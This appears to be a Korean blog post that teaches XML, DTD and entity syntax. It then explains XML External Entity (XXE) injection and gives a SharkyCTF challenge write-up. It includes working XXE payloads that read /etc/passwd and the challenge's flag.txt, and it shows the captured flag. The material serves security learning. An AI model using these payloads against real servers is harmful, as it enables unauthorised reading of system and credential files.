Post

XXE

XML



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>     XML 선언문

<foods>                       XML root 요소 -> 가장 바깥 요소로 단일계층이어야 함.
  
    <food>                    요소
        <name>바나나</name>   # food 요소 내용, name 요소 값은 바나나
        <color>노랑</color>   # food 요소 내용, color 요소 값은 노랑
    </food> 
  
    <food> 
        <name>사과</name> 
        <color>빨강</color> 
    </food> 
  
</foods>






DTD(Document Type Definition)



DTD(Document Type Definition)는 XML의 구조를 정의하는데 사용하는 것으로, XML의 구조를 정의한 DTD와 XML 문서를 연결할 시에는 문서형 선언(DOCTYPE 선언)를 사용함.

내부 또는 외부에 기술된 DTD와 XML 문서를 연결할 수 있다.

DTD는 엔티티를 정의할 수 있으며, 빠른 개발을 위한 내부 DTD를 사용할 수 있음.

괄호([]) 안에는 내부 서브셋(subset)이라 불리는 추가로 선언한 엔티티(entity)의 리스트가 존재함.



  • 내부
1
2
3
<!DOCTYPE 루트요소[ 
    <!-- 내부 서브셋 작성 --> 
]>


  • 외부
1
2
3
<!DOCTYPE 루트요소 SYSTEM "URI"[ 
    <!-- 내부 서브셋 작성 -->
]>



Entities



XML에서 미리 예약된 엔티티는 다음과 같음.


  • <

  • >

  • &

  • "

  • '


위와 같은 다섯 개의 엔티티를 제외한 모든 엔티티는 반드시 사용하기 전에 DTD에서 선언해야 함.

DTD에서 엔티티는 XML 문서나 DTD 내부에 선언할 수도 있으며, 파일 외부에 선언할 수도 있음.



문법은 아래와 같음.


  • 내부 : <!ENTITY 엔티티이름 "엔티티값">

    • DTD 예제 : <!ENTITY css "Cascading Style Sheets">

    • XML 예제 : <lecture>&css;</lecture>

      출력 결과 : <lecture>Cascading Style Sheets<lecture>


외부에 파일 형태로 선언되는 외부 엔티티는 다른 DTD 문서에서 재사용할 수 있음.

문서 외부에 존재하는 외부 엔티티는 다음과 같이 SYSTEM 키워드를 사용하여 선언할 수 있음.


  • 외부 : <!ENTITY 엔티티이름 SYSTEM "URI또는URL">

    • DTD 예제 : <!ENTITY html SYSTEM "http://codingsam.com/xml/html.dtd">

    • XML 예제 : <lecture>&html;</lecture>

      출력 결과 : <lecture>HyperText Markup Language<lecture>


선언된 엔티티는 XML 문서에서 AND기호(&) + 엔티티 이름 + 세미콜론(;)의 형식으로 사용함. ex) &html;


출처
tcpschool.com/xml/xml_dtd_entityDeclaration






XXE (XML External Entity)



위의 내용을 토대로 예시를 보면 아래와 같음.


1
2
3
<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>


SYSTEM 키워드를 통해 외부 파일인 서버에 있는 /etc/passwd 파일을 읽어오고 XXE Entity 값을 출력해주면 /etc/passwd 파일 내용이 출력이 됨.

XXE 응용 기법 : medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9






SharkyCTF - XXExternalXX



1
2
3
4
5
6
7
One of your customer all proud of his new platform asked you to audit it.
To show him that you can get information on his server, 
he hid a file "flag.txt" at the server's root.

xxexternalxx.sharkyctf.xyz

Creator : Remsio


image

문제에서 news section으로 가라해서 갔더니 data.xml 파일을 불러와서 출력된 화면이 나옴.

data.xml 파일은 아래와 같음.


image


문제 제목에서부터 XXE를 하라했고 flag.txt를 서버의 root에 숨겨놓았다고 했기 때문에 flag.txt 파일을 읽어와야 함.

따라서 코드를 짜면 다음과 같음.


1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY flag SYSTEM "file:///flag.txt"> ]>
<root>
    <data> The flag is &flag;</data>
</root>


이제 이 flag 값을 불러오는 xml 파일을 해당 문제 사이트에서 xml 파라미터를 통해 불러와야 함.

pastebin.com/이라는 사이트를 이용함.

create를 하면 임의의 사이트가 생성이 되고 raw를 통해 xml파일을 볼 수 있음. 이 주소를 xml의 값으로 전달해주면 flag가 출력됨.


flag : shkCTF{G3T_XX3D_f5ba4f9f9c9e0f41dd9df266b391447a}






This post is licensed under CC BY 4.0 by the author.